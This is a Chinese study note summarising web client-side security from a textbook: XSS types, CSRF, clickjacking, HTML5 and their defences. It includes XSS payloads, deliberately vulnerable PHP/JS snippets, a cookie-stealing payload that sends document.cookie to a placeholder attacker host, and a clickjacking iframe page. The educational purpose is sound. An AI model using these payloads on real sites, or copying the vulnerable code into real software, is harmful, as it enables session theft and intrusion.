客户端脚本安全

来源:互联网 发布:熊片数据库kfb 编辑:程序博客网 时间:2024/06/05 20:48

一下案例均来自白帽子讲Web安全-吴翰清 一书中

这篇主要是记录下一些内容中的简单概念,其中书中涉及很多实例代码,这边不具体叙述。

客户端脚本安全

XSS攻击

XSS:跨站脚本攻击,英文全称为Cross Sie Script 本来缩写是CSS,但是为了和层叠样式CSS做区分,所以在安全领域叫做XSS
XSS攻击,通常指用户通过HTML注入篡改了网页,插入恶意的脚本,从而在用户浏览网页的时候,控制用户浏览器的一种攻击 ,从一开始这种攻击的案例是跨域的,所以叫做跨站脚本,但是发展到今天,由于JavaScript的强大功能,以及网站前端应用的复杂化,是否跨域以及不在重要

XSS根据效果分为三个类型

  • 第一种反射性:只是简单的把用户输入的数据“反射”给浏览器.黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
<!DOCTYPE html> <html> <body> <?php $input=$_GET["param"];echo "<div>".$input."</div>";?> </body> </html>

上面这段是根据用户提交的参数显示到页面上

http://127.0.0.1/hello.php?param=hello(显示一个hello)http://127.0.0.1/hello.php?param=<script>alert(/xxx/)</script>(在火狐浏览器弹出alert)

这段在chrome浏览器上,显示被浏览器拦截,但是在火狐浏览器上弹出了框,不同浏览器对此有些做出了处理

  • 储存小XSS:储存型XSS会把用户输入的数据储存到服务器端,这种XSS具有很强的稳定性,场景,黑客写下一篇包含恶意的javaScript的代码文章,然后访问该文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码,这种叫做储存型的XSS攻击
  • DOM Based XSS,通过修改DOM节点形成的xss,从效果上也是反射性XSS,但是因为形成的原因比较特别
<html>    <head>        <title></title>        <meta charset="UTF-8"/>        <script type="text/javascript" charset="utf-8">          function test(){            var str=document.getElementById("text").value;            document.getElementById("t").innerHTML="<a href='"+str+"'>testLink</a>"          }        </script>    </head>    <body>        <div id="t"></div>        <input type="text" id="text" value="" />        <input type="button" id="s" value="write" onclick="test()" />    </body></html>

通过输入的内容形成超链接

构造数据' onclick=alert(/xss/) ////另一种利用方式,构造一个新事件,闭合掉<a>标签,并插入新的html标签'><img src=# onerror=alert(/xss2/) /><'

在各自浏览器上f12,查看修改后的html内容

XSS攻击进阶

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器,这些用以完成各种具体功能的恶意脚本,被称为 XSS Payload(实际上就是JavaScript脚本

常见的案例cookie挟持

//先加载一个远程脚本http:///www.a.com/test.htm?abc="><script src=http://xxxxxx/xx.js><script>在这个远程脚本中var img=document.createElement("img");//发送给攻击者自己的服务器img.src="http://xxxxxx/log?"+escape(document.cookie);document.body.appendChild(img)

XSS构造GET和POST请求

如果删除一篇文章的链接是 http:xxxxxx/m=delete&id=xxx;如果知道该文章的Id,只要攻击者插入一张图片就可以了,因为当前用户的cookie 已经存在他的浏览器中,只要他触发了这段js代码var img=document.createElement("img")img.src="http:xxxxxx/m=delete&id=xxx";document.body.appendChild(img)

post同理利用XMLHttpRequest或者 构建一个form表单然后自动提交

XSS能做什么
  • 钓鱼:利用JavaScript在当前页面画出一个伪造的登录框,窃取信息发送给自己的服务器
  • 识别用户的浏览器:如果知道用户使用的浏览器,操作系统,能收集到信息(JavaScript,识别浏览器版本,网上有很多案例)
  • 识别用户的安装软件
    在IE中,可以判断ActiveX框架中的classid 是否存在,推测用户是否安装了该软件
try{  var obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');}catch(e){}
  • 获取用户iP,用户电脑使用了代理服务器,或者隐藏在局域网中隐藏在NAT后面。网站看到的是客户端的IP地址,是内网出口IP地址,而非真正地址,但是借助第三方软件可以完成 ,如果客户端安装了Java环境,xss可以通过调用JavaApplet的接口来获取客户端的IP地址在Xss攻击框架中有“Attack API”,可以获取本地IP地址

XSS的防御

  1. HttpOnly:浏览器将禁止页面的JavaScript访问带有HttpOnly属性的,添加HttpOnly的过程简单,如果业务太过复杂,则需要在所有Set-Cookie的地方,给关键的cookie加上HttpOnly
服务器端设置 response.setheader("Set-cookie","cookiename=value";Path=/;Domain=domainvalue;Max-Agseconds;HTTPOnly")
  1. 输入检查,使用开源的XSS Filter 在用户提交数据的时候,进行XSS检查,是否包含特殊字符如’<’script> javascript 等敏感关键词
  2. 输出检查,可以使用编码或转义来处理
  3. 使用安全编码的函数,如HTMLEncode。XMLEncode等,JS编码方式可以使用JavascriptEncode https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
在对抗 XSS,在HTMLEncdoe中的要求至少转换一下字符&-->&amp;<-->&ly;>-->&gt;"->&quot;'->&#x27;/->&#x2F

XSS的本质是一种HTML注入,用户的数据被当做HTML代码一部分执行,已混淆了原本的语义,产生了新的语义

正确的防御xss

  • 在HTML标签中输出、在HTML属性中输出:对变量使用HtmlEncode
    在<”script>标签中输出
  • 在事件中输出:使用JavascriptEncode
  • 在CSS中输出:推荐使用OWASP ESAPI中的encodeCSS()方法
  • 防御DOM Based XSS:复合的XSS防御 从$var输出到<”script>的时候需要做JavascriptEncode,在输出到html的时候,如果是输出到事件或者脚本,再做一次JavascriptEncode,如果输出到html,做HtmlEncode,即,输出点即为防御点。

CSRF

CSRF(Cross-site request forgery)跨站请求伪造,它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。

浏览器的Cookie策略:Cookie分为两种,Session Cookie(在浏览器关闭后,就会失效,保存到内存里),Third-party Cookie(即只有到了Exprie时间后才会失效的Cookie,这种Cookie会保存到本地)。如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie发送 ,P3P Header如果返回给浏览器的HTTP头中包含了P3P的头,将允许浏览器发送第三方cookie, p3p头主要用于类似广告等需要跨域访问的页面

CSRF防御

  • 尽量使用POST,限制GET:get构建一个img标签 src 发送get请求,接口限制为post,降低攻击风险
  • 验证码:验证码能强制用户与应用交互
  • Referer Check:检查请求是否来自于合法的源,在互联网最常见的应用就是防盗链
  • TOKEN机制:服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,允许用户在一个有效的生命周期内,消耗掉token后,生成一个新的token.

点击挟持

点击挟持是,视觉上的一种欺骗,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在改网页上进行操作,此时用户在不知情的点击透明的iframe页面。提供调整iframe的位置,可以使得用户点击的在iframe页面的功能性按钮

        <style>            iframe{                width: 900px;                height: 250px;                position: absolute;                top: -195px;                left: -740px;                z-index: 2;                -moz-opacity: 0.5;                opacity: 0.0;                filter: alpha;            }            button{                position: absolute;                top: 10px;                left: 10px;                z-index: 1;                width: 120px;            }        </style>    </head>    <body>     <iframe src="http://www.qidian.com" scrolling="no"></iframe>     <button>CLICK HERE!</button>    </body>

基于点击挟持的几种方式

  • 图片覆盖攻击:利用图片的style将页面的图片覆盖,然后链接到自己的网站
  • flash点击挟持:攻击者制作一个游戏,诱使用户玩游戏,用户点击CLICK按钮,在其隐藏一个看不见的iframe,提供多次点击
  • 拖拽与数据窃取:浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略的限制,拖拽挟持的思路是,诱使用户从隐藏的不可见的iframe中拖拽楚攻击者希望得到的数据,然后放到攻击者能控制的另一个页面上

防御点击挟持

X-Frame-Options:因为frame busting 存在被绕过的可能,所以我们需要寻找其他更好的解决方案,就是使用一个Http头-X-Frame-Options ,当值为DENY时,浏览器会拒绝当前页面加载任何frame页面,若值为SAMEORIGIN,则frame页面的地址只能为同源域名下的页面;若值为ALLOW-FROM,则可以定义运行frame加载的页面地址

HTML5安全

Html5中新增的一些标签和属性,使得XSS等WEB攻击产生了新的变化,为例总结一些变化,有些安全研究者建立了HTML5 Security Cheatsheet项目

iframe

iframe的sandbox:在h5中iframe定义了一个新的属性叫sandbox。使用sandbox这个属性,iframe标签,加载的内容将被视作独立的源。其中的脚本将被禁止,表单被禁止提交,插件禁止被加载,指向其他浏览对象的链接也会被禁止

sandbox属性可以通过参数来支持更多精确的控制

  • allow-same-origin:允许同源访问
  • allow-top-navigation:运行访问顶层窗口:
  • allow-forms:允许提交表单
  • allow-scripts:允许执行脚本

html5 为a和area表情定义了新的link types:noreferrer,在指定noreferrer后,浏览器在请求该标签指定的地址将不在发送Referer

Canvas

canvas 是h5提供新的标签,他的强大甚至可以破解验证码!!

Cross-Origin Resource Sharing

因为浏览器实现了同源策略,限制了脚本的跨域请求,但是需求下跨域访问的情景越来越多

假设www.a.com/test.html 发起跨域的XMLHttpRequest的请求,请求地址为www.b.com/test.php

在这个过程中

//a.com/test.html 发起请求带上一个Origin HeaderOrigin:http://www.a.com//在服务器b.com返回一个HTTP HeaderAccess-Control-Allow-Origin:http://www.a.com 

通过Origin Header标记HTTP发起的源,服务器识别。

postMessage-跨窗口传递消息

postMessage 允许每个window对象往其他窗口发送消息。从而实现跨窗口的消息传递。这个功能不受同源策略影响

使用postMessage的注意点

  1. 在接受窗口验证Domain,甚至验证URL
  2. 在接受窗口对消息进行安全检查,避免将消息写入innerHtml 甚至写入script中

内容来自于 白帽子讲Web安全-吴翰清
参考:http://www.cnblogs.com/lovesong/p/5233195.html

原创粉丝点击